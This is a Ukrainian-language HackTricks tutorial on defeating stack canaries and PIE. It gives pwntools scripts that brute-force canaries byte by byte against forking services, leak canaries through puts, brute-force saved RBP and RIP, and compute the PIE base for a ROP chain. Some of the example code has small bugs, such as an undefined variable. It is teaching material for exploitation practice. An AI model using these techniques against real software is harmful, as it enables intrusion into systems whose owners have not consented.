hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2024-03-29 19:49:46 +01:00

168 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
</details>
**Якщо ви маєте справу з бінарним файлом, захищеним канарейкою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.**
![](<../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канарейкою, якщо він був статично скомпільований і не може ідентифікувати функцію.\
Однак ви можете вручну помітити це, якщо ви виявите, що значення зберігається в стеку на початку виклику функції і це значення перевіряється перед виходом.
{% endhint %}
# Brute force Canary
Найкращий спосіб обійти просту канарейку - це якщо бінарний файл є програмою, яка **розгалужує дочірні процеси кожного разу, коли ви встановлюєте нове з'єднання** з ним (мережевий сервіс), оскільки кожного разу, коли ви підключаєтеся до нього, **використовуватиметься та сама канарейка**.
Тоді найкращий спосіб обійти канарейку - це просто **перебрати її посимвольно**, і ви можете визначити, чи був вірний вгаданий байт канарейки, перевіривши, чи програма впала, чи продовжує свій звичайний хід. У цьому прикладі функція **перебирає 8 байтів канарейки (x64)** і розрізняє між правильно вгаданим байтом та невірним байтом, просто **перевіряючи**, чи **відправлена відповідь** сервером (інший спосіб у **іншій ситуації** може бути використання **try/except**):
## Приклад 1
Цей приклад реалізований для 64-бітної системи, але може бути легко реалізований для 32-бітної системи.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
## Приклад 2
Це реалізовано для 32-бітної системи, але це можна легко змінити на 64 біти.\
Також зверніть увагу, що для цього прикладу **програма спочатку очікує байт, щоб вказати розмір введення** та полезне навантаження.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
# Друк Канарейки
Ще один спосіб обійти канарейку - це **роздрукувати її**. Уявіть ситуацію, де **програма вразлива** на переповнення стеку може виконати функцію **puts**, яка **вказує** на **частину** переповненого стеку. Атакуючий знає, що **перший байт канарейки є нульовим байтом** (`\x00`), а решта канарейки - **випадкові** байти. Потім атакуючий може створити переповнення, яке **перезапише стек до першого байту канарейки**.\
Потім атакуючий **викликає функціональність puts** посередині політря, яка **роздрукує всю канарейку** (крім першого нульового байту).\
З цією інформацією атакуючий може **створити та відправити нову атаку**, знаючи канарейку (у тій самій сесії програми)
Очевидно, що ця тактика дуже **обмежена**, оскільки атакуючому потрібно мати можливість **роздрукувати** **вміст** свого **політря** для **екстракції** **канарейки**, а потім мати можливість створити нове політря (у **тій самій сесії програми**) та **відправити** **справжнє переповнення буфера**.\
Приклад CTF: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
# PIE
Для обходу PIE вам потрібно **витікати деяку адресу**. І якщо у бінарному файлі не витікає жодна адреса, то найкраще зробити це - **перебором RBP та RIP, збережених у стеці** у вразливій функції.\
Наприклад, якщо бінарний файл захищений як **канарейкою**, так і **PIE**, ви можете почати перебирати канарейку, потім **наступні** 8 байтів (x64) будуть збереженим **RBP**, а **наступні** 8 байтів будуть збереженим **RIP**.
Щоб перебрати RBP та RIP з бінарного файлу, ви можете зрозуміти, що правильний вгаданий байт є правильним, якщо програма виводить щось або просто не крашиться. Та **сама функція**, яка надана для перебору канарейки, може бути використана для перебору RBP та RIP:
```python
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
## Отримання базової адреси
Останнє, що вам потрібно зробити, щоб перемогти PIE, це розрахувати **корисні адреси з витікших** адрес: **RBP** та **RIP**.
З **RBP** ви можете розрахувати **де ви пишете свій shell в стеку**. Це може бути дуже корисно, щоб знати, де ви збираєтеся записати рядок _"/bin/sh\x00"_ всередині стеку. Щоб розрахувати відстань між витікшим RBP та вашим shellcode, ви можете просто встановити **точку зупинки після витоку RBP** та перевірити **де знаходиться ваш shellcode**, після цього ви можете розрахувати відстань між shellcode та RBP:
```python
INI_SHELLCODE = RBP - 1152
```
З **RIP** ви можете обчислити **базову адресу PIE-бінарного файлу**, яка вам знадобиться для створення **дійсного ланцюжка ROP**.\
Щоб обчислити базову адресу, просто виконайте `objdump -d vunbinary` та перевірте розібрані останні адреси:
![](<../../.gitbook/assets/image (145).png>)
У цьому прикладі ви можете побачити, що для виявлення всього коду потрібно лише **1 байт та пів**. Тоді базова адреса в цій ситуації буде **витікати з RIP, але закінчуватися на "000"**. Наприклад, якщо витік _0x562002970**ecf**_, базова адреса буде _0x562002970**000**_.
```python
elf.address = RIP - (RIP & 0xfff)
```
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
</details>